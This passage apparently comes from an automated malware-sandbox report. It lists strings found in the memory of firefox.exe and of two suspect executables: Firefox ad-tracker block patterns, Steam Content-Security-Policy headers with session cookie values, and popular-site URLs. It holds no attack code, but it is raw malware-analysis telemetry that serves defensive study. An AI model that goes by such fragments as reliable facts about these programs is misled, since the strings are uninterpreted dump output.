Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: *://www.facebook.com/platform/impression.php* equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51303000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: *://www.facebook.com/platform/impression.php**://*.adsafeprotected.com/*/unit/*https://ads.stickyadstv.com/firefox-etp*://*.adsafeprotected.com/*/imp/**://trends.google.com/trends/embed*resource://gre/modules/AddonManager.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2862333210.0000014D5D4E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2856302856.0000014D587B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2861316139.0000014D5D3E8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2854529746.0000014D58467000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2836217561.0000014D56517000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2819191173.0000014D54B3D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2829848680.0000014D55A81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2828008526.0000014D557C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2828008526.0000014D557D8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011DF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://*.valvesoftware.com https://*.steambeta.net https://*.discovery.beta.steamserver.net https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001076000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://*.valvesoftware.com https://*.steambeta.net https://*.discovery.beta.steamserver.net https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cbcfeb0e5371aba24e9977faccad43253; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=c8853dfe3c8e6e6c444d7ca2; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type26105Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveThu, 24 Oct 2024 09:02:50 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://*.valvesoftware.com https://*.steambeta.net https://*.discovery.beta.steamserver.net https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cbcfeb0e5371aba24e9977faccad43253; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=d3a440cbd1c048b8f45ee09b; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type35741Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveThu, 24 Oct 2024 09:02:15 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control,! equals www.youtube.com (Youtube)
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://*.valvesoftware.com https://*.steambeta.net https://*.discovery.beta.steamserver.net https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cbcfeb0e5371aba24e9977faccad43253; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=e2301badb3e7bec0a38093a5; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type26105Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveThu, 24 Oct 2024 09:03:04 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: file.exe, 00000000.00000003.2172112855.0000000000B2F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: LRPC-534f73005f5f759413w.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://*.valvesoftware.com https://*.steambeta.net https://*.discovery.beta.steamserver.net https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2829538640.0000014D5590C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: ["*://track.adform.net/Serving/TrackPoint/*", "*://pagead2.googlesyndication.com/pagead/*.js*fcd=true", "*://pagead2.googlesyndication.com/pagead/js/*.js*fcd=true", "*://pixel.advertising.com/firefox-etp", "*://cdn.cmp.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2829538640.0000014D55903000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: ["*://track.adform.net/Serving/TrackPoint/*", "*://pixel.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51345000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: ["*://webcompat-addon-testbed.herokuapp.com/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "*://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js*", "*://track.adform.net/serving/scripts/trackpoint/", "*://track.adform.net/serving/scripts/trackpoint/async/", "*://*.adnxs.com/*/ast.js*", "*://*.adnxs.com/*/pb.js*", "*://*.adnxs.com/*/prebid*", "*://www.everestjs.net/static/st.v3.js*", "*://static.adsafeprotected.com/vans-adapter-google-ima.js", "*://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "*://cdn.branch.io/branch-latest.min.js*", "*://pub.doubleverify.com/signals/pub.js*", "*://c.amazon-adsystem.com/aax2/apstag.js", "*://auth.9c9media.ca/auth/main.js", "*://static.chartbeat.com/js/chartbeat.js", "*://static.chartbeat.com/js/chartbeat_video.js", "*://static.criteo.net/js/ld/publishertag.js", "*://*.imgur.com/js/vendor.*.bundle.js", "*://*.imgur.io/js/vendor.*.bundle.js", "*://www.rva311.com/static/js/main.*.chunk.js", "*://web-assets.toggl.com/app/assets/scripts/*.js", "*://libs.coremetrics.com/eluminate.js", "*://connect.facebook.net/*/sdk.js*", "*://connect.facebook.net/*/all.js*", "*://secure.cdn.fastclick.net/js/cnvr-launcher/*/launcher-stub.min.js*", "*://www.google-analytics.com/analytics.js*", "*://www.google-analytics.com/gtm/js*", "*://www.googletagmanager.com/gtm.js*", "*://www.google-analytics.com/plugins/ua/ec.js", "*://ssl.google-analytics.com/ga.js", "*://s0.2mdn.net/instream/html5/ima3.js", "*://imasdk.googleapis.com/js/sdkloader/ima3.js", "*://www.googleadservices.com/pagead/conversion_async.js", "*://www.googletagservices.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/gpt/pubads_impl_*.js*", "*://securepubads.g.doubleclick.net/tag/js/gpt.js*", "*://securepubads.g.doubleclick.net/gpt/pubads_impl_*.js*", "*://script.ioam.de/iam.js", "*://cdn.adsafeprotected.com/iasPET.1.js", "*://static.adsafeprotected.com/iasPET.1.js", "*://adservex.media.net/videoAds.js*", "*://*.moatads.com/*/moatad.js*", "*://*.moatads.com/*/moatapi.js*", "*://*.moatads.com/*/moatheader.js*", "*://*.moatads.com/*/yi.js*", "*://*.imrworldwide.com/v60.js", "*://cdn.optimizely.com/js/*.js", "*://cdn.optimizely.com/public/*.js", "*://id.rambler.ru/rambler-id-helper/auth_events.js", "*://media.richrelevance.com/rrserver/js/1.2/p13n.js", "*://www.gstatic.com/firebasejs/*/firebase-messaging.js*", "*://*.vidible.tv/*/vidible-min.js*", "*://vdb-cdn-files.s3.amazonaws.com/*/vidible-min.js*", "*://js.maxmind.com/js/apis/geoip2/*/geoip2.js", "*://s.webtrends.com/js/advancedLinkTracking.js", "*://s.webtrends.com/js/webtrends.js", "*://s.webtrends.com/js/webtrends.min.js"] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51345000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: ["*://webcompat-addon-testbed.herokuapp.com/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "*://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js*", "*://track.adform.net/serving/scripts/trackpoint/", "*://track.adform.net/serving/scripts/trackpoint/async/", "*://*.adnxs.com/*/ast.js*", "*://*.adnxs.com/*/pb.js*", "*://*.adnxs.com/*/prebid*", "*://www.everestjs.net/static/st.v3.js*", "*://static.adsafeprotected.com/vans-adapter-google-ima.js", "*://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "*://cdn.branch.io/branch-latest.min.js*", "*://pub.doubleverify.com/signals/pub.js*", "*://c.amazon-adsystem.com/aax2/apstag.js", "*://auth.9c9media.ca/auth/main.js", "*://static.chartbeat.com/js/chartbeat.js", "*://static.chartbeat.com/js/chartbeat_video.js", "*://static.criteo.net/js/ld/publishertag.js", "*://*.imgur.com/js/vendor.*.bundle.js", "*://*.imgur.io/js/vendor.*.bundle.js", "*://www.rva311.com/static/js/main.*.chunk.js", "*://web-assets.toggl.com/app/assets/scripts/*.js", "*://libs.coremetrics.com/eluminate.js", "*://connect.facebook.net/*/sdk.js*", "*://connect.facebook.net/*/all.js*", "*://secure.cdn.fastclick.net/js/cnvr-launcher/*/launcher-stub.min.js*", "*://www.google-analytics.com/analytics.js*", "*://www.google-analytics.com/gtm/js*", "*://www.googletagmanager.com/gtm.js*", "*://www.google-analytics.com/plugins/ua/ec.js", "*://ssl.google-analytics.com/ga.js", "*://s0.2mdn.net/instream/html5/ima3.js", "*://imasdk.googleapis.com/js/sdkloader/ima3.js", "*://www.googleadservices.com/pagead/conversion_async.js", "*://www.googletagservices.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/gpt/pubads_impl_*.js*", "*://securepubads.g.doubleclick.net/tag/js/gpt.js*", "*://securepubads.g.doubleclick.net/gpt/pubads_impl_*.js*", "*://script.ioam.de/iam.js", "*://cdn.adsafeprotected.com/iasPET.1.js", "*://static.adsafeprotected.com/iasPET.1.js", "*://adservex.media.net/videoAds.js*", "*://*.moatads.com/*/moatad.js*", "*://*.moatads.com/*/moatapi.js*", "*://*.moatads.com/*/moatheader.js*", "*://*.moatads.com/*/yi.js*", "*://*.imrworldwide.com/v60.js", "*://cdn.optimizely.com/js/*.js", "*://cdn.optimizely.com/public/*.js", "*://id.rambler.ru/rambler-id-helper/auth_events.js", "*://media.richrelevance.com/rrserver/js/1.2/p13n.js", "*://www.gstatic.com/firebasejs/*/firebase-messaging.js*", "*://*.vidible.tv/*/vidible-min.js*", "*://vdb-cdn-files.s3.amazonaws.com/*/vidible-min.js*", "*://js.maxmind.com/js/apis/geoip2/*/geoip2.js", "*://s.webtrends.com/js/advancedLinkTracking.js", "*://s.webtrends.com/js/webtrends.js", "*://s.webtrends.com/js/webtrends.min.js"] equals www.rambler.ru (Rambler)
Source: firefox.exe, 0000001A.00000002.2829538640.0000014D5590A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D55903000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["*://track.adform.net/Serving/TrackPoint/*", "*://pixel.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2829538640.0000014D5590C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["*://track.adform.net/Serving/TrackPoint/*", "*://pixel.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2829538640.0000014D5590C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["*://track.adform.net/Serving/TrackPoint/*", "*://pixel.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"], windowId:null}, ["blocking"]][{incognito:null, tabId:null, types:["imageset"], urls:["*://track.adform.net/Serving/TrackPoint/*", "*://pixel.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.face
